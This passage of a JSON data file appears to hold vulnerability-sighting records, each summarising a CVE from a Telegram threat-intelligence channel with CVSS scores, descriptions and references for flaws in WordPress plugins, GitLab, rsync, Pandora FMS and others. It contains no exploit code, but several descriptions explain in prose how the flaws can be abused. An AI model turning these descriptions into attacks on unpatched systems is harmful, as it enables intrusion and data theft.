CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the default_gallery_title_size parameter in all versions up to, and including, 2.4.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with granted gallery and album creator roles, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-08T05:30:08.997Z\n\ud83d\udccf Modified: 2025-03-08T05:30:08.997Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2070c6e6-d830-4d1c-9408-5cb2254a00e5?source=cve\n2. https://github.com/fooplugins/foogallery/blob/master/extensions/albums/album-default.php#L26\n3. https://plugins.trac.wordpress.org/browser/foogallery/tags/2.4.27/extensions/albums/album-default.php#L26", "creation_timestamp": "2025-03-08T06:35:48.000000Z"}, {"uuid": "92b6bbe9-4be6-4237-86db-e0b40f75d201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12114", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6925", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12114\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.29 via the foogallery_attachment_modal_save AJAX action due to missing validation on a user controlled key (img_id). This makes it possible for authenticated attackers, with granted access and above, to update arbitrary post and page content. This requires the Gallery Creator Role setting to be a value lower than 'Editor' for there to be any real impact.\n\ud83d\udccf Published: 2025-03-08T05:30:09.469Z\n\ud83d\udccf Modified: 2025-03-08T05:30:09.469Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f4fe3ad9-247f-4e5d-8c79-0970afaa7729?source=cve\n2. https://github.com/fooplugins/foogallery/blob/master/includes/admin/class-gallery-attachment-modal.php#L242\n3. https://plugins.trac.wordpress.org/changeset/3250684/foogallery/tags/2.4.30/includes/admin/class-gallery-attachment-modal.php?old=3229839&old_path=foogallery%2Ftags%2F2.4.29%2Fincludes%2Fadmin%2Fclass-gallery-attachment-modal.php", "creation_timestamp": "2025-03-08T06:35:47.000000Z"}, {"uuid": "fb7417a5-eb4e-4e30-bd45-c77b394e6f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6996", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12604\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: Cleartext Storage of Sensitive Information in an Environment Variable, Weak Password Recovery Mechanism for Forgotten Password vulnerability in Tapandsign Technologies Tap&Sign App allows Password Recovery Exploitation, Functionality Misuse.This issue affects Tap&Sign App: before V.1.025.\n\ud83d\udccf Published: 2025-03-10T14:28:12.230Z\n\ud83d\udccf Modified: 2025-03-10T14:28:12.230Z\n\ud83d\udd17 References:\n1. https://docs.tapandsign.com/tap-and-sign/tap-and-sign-v.1.025-surum-notlari\n2. https://www.usom.gov.tr/bildirim/tr-25-0063", "creation_timestamp": "2025-03-10T14:38:39.000000Z"}, {"uuid": "b16ca01f-5aa2-4fc1-a1f8-773d71edef0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14537", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12397\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with\ncertain value-delimiting characters in incoming requests. This issue could\nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie\nvalues or spoof arbitrary additional cookie values, leading to unauthorized\ndata access or modification. The main threat from this flaw impacts data\nconfidentiality and integrity.\n\ud83d\udccf Published: 2024-12-12T09:05:28.451Z\n\ud83d\udccf Modified: 2025-05-02T16:29:42.017Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0900\n2. https://access.redhat.com/errata/RHSA-2025:1082\n3. https://access.redhat.com/errata/RHSA-2025:3018\n4. https://access.redhat.com/security/cve/CVE-2024-12397\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2331298", "creation_timestamp": "2025-05-02T17:16:41.000000Z"}, {"uuid": "48bedb56-6012-4aa2-ba0f-81680a10b70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8035", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12137\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: through 19.03.2025.\n\n\nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-03-19T08:32:38.226Z\n\ud83d\udccf Modified: 2025-03-19T08:32:38.226Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-03-19T08:49:00.000000Z"}, {"uuid": "9e90d621-a07f-49d9-9e60-fbafe88ba97d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12380", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7553", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12380\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: An issue was discovered in GitLab EE/CE affecting all versions starting from 11.5 before 17.7.7, all versions starting from 17.8 before 17.8.5, all versions starting from 17.9 before 17.9.2. Certain user inputs in repository mirroring settings could potentially expose sensitive authentication information.\n\ud83d\udccf Published: 2025-03-13T05:56:14.642Z\n\ud83d\udccf Modified: 2025-03-14T14:35:18.525Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/508557\n2. https://hackerone.com/reports/2868951", "creation_timestamp": "2025-03-14T14:45:08.000000Z"}, {"uuid": "65108394-8d36-4095-83e7-9a884ac6afe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7648", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd25 CVSS Score: 5.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-03-15T00:15:23.593Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/security/cve/CVE-2024-12747\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2332968\n4. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-03-15T00:45:40.000000Z"}, {"uuid": "b369db8a-70ef-419c-8392-2973e066f3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12401", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7675", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12401\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster.\n\ud83d\udccf Published: 2024-12-12T09:06:03.612Z\n\ud83d\udccf Modified: 2025-03-15T05:58:20.676Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12401\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2327929\n3. https://github.com/cert-manager/cert-manager/pull/7400\n4. https://github.com/cert-manager/cert-manager/pull/7401\n5. https://github.com/cert-manager/cert-manager/pull/7402\n6. https://github.com/cert-manager/cert-manager/pull/7403\n7. https://github.com/cert-manager/cert-manager/security/advisories/GHSA-r4pg-vg54-wxx4\n8. https://go.dev/issue/50116", "creation_timestamp": "2025-03-15T06:46:43.000000Z"}, {"uuid": "3c5820c3-b164-45fc-bfe7-0a7695590a63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12336\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'export_all_data' function in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive affiliate data, including personally identifiable information (PII).\n\ud83d\udccf Published: 2025-03-15T03:23:24.688Z\n\ud83d\udccf Modified: 2025-03-15T03:23:24.688Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cf0fb349-4cb8-4cf3-ae7c-5c4dcc6fd4f7?source=cve\n2. https://plugins.trac.wordpress.org/browser/wc-affiliate/trunk/src/AJAX.php#L903", "creation_timestamp": "2025-03-15T03:48:59.000000Z"}, {"uuid": "71ae5b06-de42-4fe7-bf5f-61bf91f88444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7749", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12971\n\ud83d\udd25 CVSS Score: 8.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/S:N/AU:Y/R:U/V:C/RE:L/U:Green)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6\n\ud83d\udccf Published: 2025-03-17T09:19:31.761Z\n\ud83d\udccf Modified: 2025-03-17T09:19:31.761Z\n\ud83d\udd17 References:\n1. https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "creation_timestamp": "2025-03-17T09:46:57.000000Z"}, {"uuid": "b80e5651-83dd-41a7-8962-565772e61207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7748", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12992\n\ud83d\udd25 CVSS Score: 8.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/S:N/AU:Y/R:U/V:C/RE:M/U:Amber)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection via RCE. \n\nThis issue affects Pandora FMS from 700 to 777.6\n\n.\n\ud83d\udccf Published: 2025-03-17T09:21:39.002Z\n\ud83d\udccf Modified: 2025-03-17T09:21:39.002Z\n\ud83d\udd17 References:\n1. https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "creation_timestamp": "2025-03-17T09:46:57.000000Z"}, {"uuid": "3fbe7ee2-9843-4dc7-be44-d7d17d1a3a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12019", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12019\n\ud83d\udd25 CVSS Score: 7.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: The API used to interact with documents in the application contains a flaw that allows an authenticated attacker to read the contents of files on the underlying operating system. An account with \u2018read\u2019 and \u2018download\u2019 privileges on at least one existing document in the application is required to exploit the vulnerability.\u00a0Exploitation of this vulnerability would allow an attacker to read the contents of any file available within the privileges of the system user running the application.\n\ud83d\udccf Published: 2025-03-14T18:07:01.253Z\n\ud83d\udccf Modified: 2025-03-18T16:26:57.725Z\n\ud83d\udd17 References:\n1. https://www.blackduck.com/blog/cyrc-advisory-logicaldoc.html", "creation_timestamp": "2025-03-18T16:51:24.000000Z"}, {"uuid": "709e1020-865d-4f96-b200-ed0b48ebcef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8024", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12922\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Altair theme for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check within functions.php in all versions up to, and including, 5.2.4. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-03-19T05:22:52.303Z\n\ud83d\udccf Modified: 2025-03-19T05:22:52.303Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e27971a3-f84c-4f13-81af-127e7560566a?source=cve\n2. https://themeforest.net/item/tour-travel-agency-altair-theme/9318575\n3. https://themeforest.net/item/tour-travel-agency-altair-theme/9318575#item-description__changelog", "creation_timestamp": "2025-03-19T05:51:44.000000Z"}, {"uuid": "ccd76c7e-830e-4b28-99dd-d801d49457ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12245", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12245\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Logout functionality contains a blind SQL injection that can be exploited by unauthenticated attackers.\u00a0Using a time-based blind SQLi technique the attacker can disclose all database contents. Account takeover is a potential outcome depending on the presence or lack thereof entries in certain database tables.\n\ud83d\udccf Published: 2025-03-14T18:11:14.218Z\n\ud83d\udccf Modified: 2025-03-18T17:05:58.045Z\n\ud83d\udd17 References:\n1. https://www.blackduck.com/blog/cyrc-advisory-logicaldoc.html", "creation_timestamp": "2025-03-18T17:48:37.000000Z"}, {"uuid": "08874658-0679-42c1-96df-d64c013194cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7997", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12563\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The s2Member Pro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 250214 via the 'template' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution.\n\ud83d\udccf Published: 2025-03-18T20:21:44.690Z\n\ud83d\udccf Modified: 2025-03-18T20:38:55.295Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d3326e9d-504f-444f-baf7-03989594f483?source=cve\n2. https://s2member.com/changelog/", "creation_timestamp": "2025-03-18T20:48:16.000000Z"}, {"uuid": "0a1ec423-debd-46aa-8494-5ebc01550c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8019", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12295\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The BoomBox Theme Extensions plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.8.0. This is due to the plugin not properly validating a user's identity prior to updating their password through the 'boombox_ajax_reset_password' function. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-19T04:21:06.477Z\n\ud83d\udccf Modified: 2025-03-19T04:21:06.477Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c453aaf6-767d-4929-bbb3-3c0b78b0507a?source=cve\n2. https://themeforest.net/item/boombox-viral-buzz-wordpress-theme/16596434", "creation_timestamp": "2025-03-19T04:48:46.000000Z"}, {"uuid": "1b538dbe-6c6b-473e-a2c4-95c4fd3d996a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12759", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8252", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12759\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: In bentoml/bentoml version 1.3.9, the `/login` endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.\n\ud83d\udccf Published: 2025-03-20T10:10:56.937Z\n\ud83d\udccf Modified: 2025-03-20T17:56:59.562Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/e467ec92-0ad1-4461-8468-1beabf701b9f", "creation_timestamp": "2025-03-20T18:20:49.000000Z"}, {"uuid": "25a2a6a3-100d-4288-b0fe-b5fed11c6ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8034", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12136\n\ud83d\udd25 CVSS Score: 6.9 (cvssV3_1, Vector: CVSS:3.1/AV:P/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: through 19.03.2025.\n\nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-03-19T08:35:14.671Z\n\ud83d\udccf Modified: 2025-03-19T08:35:14.671Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-03-19T08:48:59.000000Z"}, {"uuid": "643f5442-74c1-4eb5-88e8-4b53c486a290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8217", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12029\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A remote code execution vulnerability exists in invoke-ai/invokeai versions 5.3.1 through 5.4.2 via the /api/v2/models/install API. The vulnerability arises from unsafe deserialization of model files using torch.load without proper validation. Attackers can exploit this by embedding malicious code in model files, which is executed upon loading. This issue is fixed in version 5.4.3.\n\ud83d\udccf Published: 2025-03-20T10:08:45.570Z\n\ud83d\udccf Modified: 2025-03-20T14:33:03.024Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3\n2. https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e", "creation_timestamp": "2025-03-20T15:18:31.000000Z"}, {"uuid": "d12ed81b-38b4-432c-9760-f09c63b1bd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8096", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12397\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with\ncertain value-delimiting characters in incoming requests. This issue could\nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie\nvalues or spoof arbitrary additional cookie values, leading to unauthorized\ndata access or modification. The main threat from this flaw impacts data\nconfidentiality and integrity.\n\ud83d\udccf Published: 2024-12-12T09:05:28.451Z\n\ud83d\udccf Modified: 2025-03-19T16:56:57.173Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0900\n2. https://access.redhat.com/errata/RHSA-2025:1082\n3. https://access.redhat.com/security/cve/CVE-2024-12397\n4. https://bugzilla.redhat.com/show_bug.cgi?id=2331298", "creation_timestamp": "2025-03-19T17:20:59.000000Z"}, {"uuid": "e56bca5f-5f98-48b9-8b8b-c7bbbafc40b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12392", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8186", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12392\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A Server-Side Request Forgery (SSRF) vulnerability exists in binary-husky/gpt_academic version git 310122f. The application has a functionality to download papers from arxiv.org, but the URL validation is incomplete. An attacker can exploit this vulnerability to make the application access any URL, including internal services, and read the response. This can be used to access data that are only accessible from the server, such as AWS metadata credentials, and can escalate local exploits to network-based attacks.\n\ud83d\udccf Published: 2025-03-20T10:11:36.215Z\n\ud83d\udccf Modified: 2025-03-20T10:11:36.215Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/858de346-698e-4a72-a9e9-3dbd6c60ac18", "creation_timestamp": "2025-03-20T10:19:26.000000Z"}, {"uuid": "b58f187f-c093-4f10-a13a-07887cf5c1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12866", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8193", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12866\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A local file inclusion vulnerability exists in netease-youdao/qanything version v2.0.0. This vulnerability allows an attacker to read arbitrary files on the file system, which can lead to remote code execution by retrieving private SSH keys, reading private files, source code, and configuration files.\n\ud83d\udccf Published: 2025-03-20T10:11:31.785Z\n\ud83d\udccf Modified: 2025-03-20T10:11:31.785Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/c23da7c7-a226-40a2-83db-6a8ab1b2ef64", "creation_timestamp": "2025-03-20T10:19:34.000000Z"}, {"uuid": "95a0c0da-2101-4b78-9f3b-4590dd8dcdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1231", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8136", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1231\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The CM Download Manager  WordPress plugin before 2.9.0 does not have CSRF checks in some places, which could allow attackers to make logged in admins unpublish downloads via a CSRF attack\n\ud83d\udccf Published: 2024-03-25T05:00:00.845Z\n\ud83d\udccf Modified: 2025-03-19T20:04:28.792Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7d3968d9-61ed-4c00-8764-0360cf03255e/", "creation_timestamp": "2025-03-19T20:18:02.000000Z"}, {"uuid": "d3373243-7045-4ef7-a799-fb78f3d2c58b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12044", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8212", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12044\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A remote code execution 